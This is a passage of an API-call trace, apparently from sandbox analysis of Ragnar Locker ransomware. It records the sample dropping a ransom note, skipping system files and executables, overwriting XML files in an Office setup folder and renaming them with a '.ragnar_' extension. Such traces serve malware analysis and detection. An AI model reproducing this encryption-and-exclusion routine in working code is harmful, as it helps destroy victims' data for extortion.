Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\" [0062.982] lstrcpyW (in: lpString1=0x1ea8dc, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\" [0062.982] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\RGNR_FD7BD9FC.txt" [0062.982] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0062.984] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*.*" [0062.984] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*.*", nBufferLength=0x104, lpBuffer=0x1e9bfc, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x5f [0062.984] lstrcpyW (in: lpString1=0x1e99f4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0062.984] lstrcpyW (in: lpString1=0x1e9cb4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0062.984] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x77c7ad20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x77c7ad20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0062.984] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0062.984] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x77c7ad20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x77c7ad20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.984] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0062.984] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0062.984] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa60fd8f0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbe2e8f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.XML", cAlternateFileName="PRJPRO~1.XML")) returned 1 [0062.985] lstrcmpiW (lpString1="PrjProrWW.XML", lpString2=".") returned 1 [0062.985] lstrcmpiW (lpString1="PrjProrWW.XML", lpString2="..") returned 1 [0062.985] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77c7ad20, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x77c7ad20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0062.985] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0062.985] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0062.985] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0062.985] lstrcmpiW (lpString1="SETUP.XML", lpString2=".") returned 1 [0062.985] lstrcmpiW (lpString1="SETUP.XML", lpString2="..") returned 1 [0062.985] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0062.985] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0062.985] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x77c7ad20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x77c7ad20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0062.985] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x77c7ad20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x77c7ad20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.985] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa60fd8f0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbe2e8f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.XML", cAlternateFileName="PRJPRO~1.XML")) returned 1 [0062.985] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x5f [0062.985] lstrcpyW (in: lpString1=0x1ea0c8, lpString2="PrjProrWW.XML" | out: lpString1="PrjProrWW.XML") returned="PrjProrWW.XML" [0062.985] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned=".XML" [0062.985] lstrcmpiW (lpString1="PrjProrWW.XML", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0062.985] lstrcmpiW (lpString1="PrjProrWW.XML", lpString2="autorun.inf") returned 1 [0062.985] lstrcmpiW (lpString1="PrjProrWW.XML", lpString2="boot.ini") returned 1 [0062.985] lstrcmpiW (lpString1="PrjProrWW.XML", lpString2="bootfont.bin") returned 1 [0062.985] lstrcmpiW (lpString1="PrjProrWW.XML", lpString2="bootsect.bak") returned 1 [0062.985] lstrcmpiW (lpString1="PrjProrWW.XML", lpString2="bootmgr") returned 1 [0062.985] lstrcmpiW (lpString1="PrjProrWW.XML", lpString2="bootmgr.efi") returned 1 [0062.985] lstrcmpiW (lpString1="PrjProrWW.XML", lpString2="bootmgfw.efi") returned 1 [0062.985] lstrcmpiW (lpString1="PrjProrWW.XML", lpString2="desktop.ini") returned 1 [0062.985] lstrcmpiW (lpString1="PrjProrWW.XML", lpString2="iconcache.db") returned 1 [0062.986] lstrcmpiW (lpString1="PrjProrWW.XML", lpString2="ntldr") returned 1 [0062.986] lstrcmpiW (lpString1="PrjProrWW.XML", lpString2="ntuser.dat") returned 1 [0062.986] lstrcmpiW (lpString1="PrjProrWW.XML", lpString2="ntuser.dat.log") returned 1 [0062.986] lstrcmpiW (lpString1="PrjProrWW.XML", lpString2="ntuser.ini") returned 1 [0062.986] lstrcmpiW (lpString1="PrjProrWW.XML", lpString2="thumbs.db") returned -1 [0062.986] lstrcmpiW (lpString1=".XML", lpString2=".db") returned 1 [0062.986] lstrcmpiW (lpString1=".XML", lpString2=".sys") returned 1 [0062.986] lstrcmpiW (lpString1=".XML", lpString2=".dll") returned 1 [0062.986] lstrcmpiW (lpString1=".XML", lpString2=".lnk") returned 1 [0062.986] lstrcmpiW (lpString1=".XML", lpString2=".msi") returned 1 [0062.986] lstrcmpiW (lpString1=".XML", lpString2=".drv") returned 1 [0062.986] lstrcmpiW (lpString1=".XML", lpString2=".exe") returned 1 [0062.986] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml")) returned 0x20 [0062.986] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0062.986] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=6421) returned 1 [0062.986] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x190c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.986] GetProcessHeap () returned 0x580000 [0062.986] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0062.986] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0062.997] VirtualAlloc (lpAddress=0x0, dwSize=0x1915, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0062.998] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.998] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0062.998] ReadFile (in: hFile=0x108, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1915, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0x1915, lpOverlapped=0x0) returned 1 [0063.001] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0063.001] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1915, nNumberOfBytesToLockHigh=0x0) returned 1 [0063.002] WriteFile (in: hFile=0x108, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1915, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0x1915, lpOverlapped=0x0) returned 1 [0063.009] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1915, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0063.009] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0063.282] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x1915, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.318] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0063.319] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0063.319] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0063.319] WriteFile (in: hFile=0x108, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0063.319] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0063.338] GetProcessHeap () returned 0x580000 [0063.338] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0063.338] CloseHandle (hObject=0x108) returned 1 [0063.344] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" [0063.345] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.ragnar_FD7BD9FC" [0063.346] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0063.353] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77c7ad20, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x77c7ad20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0063.353] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x5f [0063.353] lstrcpyW (in: lpString1=0x1ea0c8, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0063.353] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\RGNR_FD7BD9FC.txt") returned=".txt" [0063.353] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0063.353] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0063.353] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x5f [0063.353] lstrcpyW (in: lpString1=0x1ea0c8, lpString2="SETUP.XML" | out: lpString1="SETUP.XML") returned="SETUP.XML" [0063.353] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned=".XML" [0063.353] lstrcmpiW (lpString1="SETUP.XML", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0063.354] lstrcmpiW (lpString1="SETUP.XML", lpString2="autorun.inf") returned 1 [0063.354] lstrcmpiW (lpString1="SETUP.XML", lpString2="boot.ini") returned 1 [0063.354] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootfont.bin") returned 1 [0063.354] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootsect.bak") returned 1 [0063.354] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgr") returned 1 [0063.354] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgr.efi") returned 1 [0063.354] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgfw.efi") returned 1 [0063.354] lstrcmpiW (lpString1="SETUP.XML", lpString2="desktop.ini") returned 1 [0063.354] lstrcmpiW (lpString1="SETUP.XML", lpString2="iconcache.db") returned 1 [0063.354] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntldr") returned 1 [0063.354] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.dat") returned 1 [0063.354] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.dat.log") returned 1 [0063.354] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.ini") returned 1 [0063.354] lstrcmpiW (lpString1="SETUP.XML", lpString2="thumbs.db") returned -1 [0063.354] lstrcmpiW (lpString1=".XML", lpString2=".db") returned 1 [0063.354] lstrcmpiW (lpString1=".XML", lpString2=".sys") returned 1 [0063.354] lstrcmpiW (lpString1=".XML", lpString2=".dll") returned 1 [0063.354] lstrcmpiW (lpString1=".XML", lpString2=".lnk") returned 1 [0063.354] lstrcmpiW (lpString1=".XML", lpString2=".msi") returned 1 [0063.354] lstrcmpiW (lpString1=".XML", lpString2=".drv") returned 1 [0063.354] lstrcmpiW (lpString1=".XML", lpString2=".exe") returned 1 [0063.354] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml")) returned 0x20 [0063.355] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0063.355] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=16683) returned 1 [0063.355] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x4122, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.355] GetProcessHeap () returned 0x580000 [0063.355] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0063.355] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0063.357] VirtualAlloc (lpAddress=0x0, dwSize=0x412b, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0063.357] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.357] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0063.357] ReadFile (in: hFile=0x108, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x412b, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0x412b, lpOverlapped=0x0) returned 1 [0063.358] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0063.359] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x412b, nNumberOfBytesToLockHigh=0x0) returned 1 [0063.359] WriteFile (in: hFile=0x108, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x412b, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0x412b, lpOverlapped=0x0) returned 1 [0063.359] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x412b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0063.359] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0063.359] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x412b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.359] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0063.360] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0063.360] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0063.360] WriteFile (in: hFile=0x108, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0063.360] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0063.360] GetProcessHeap () returned 0x580000 [0063.360] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0063.360] CloseHandle (hObject=0x108) returned 1 [0063.361] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" [0063.361] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft 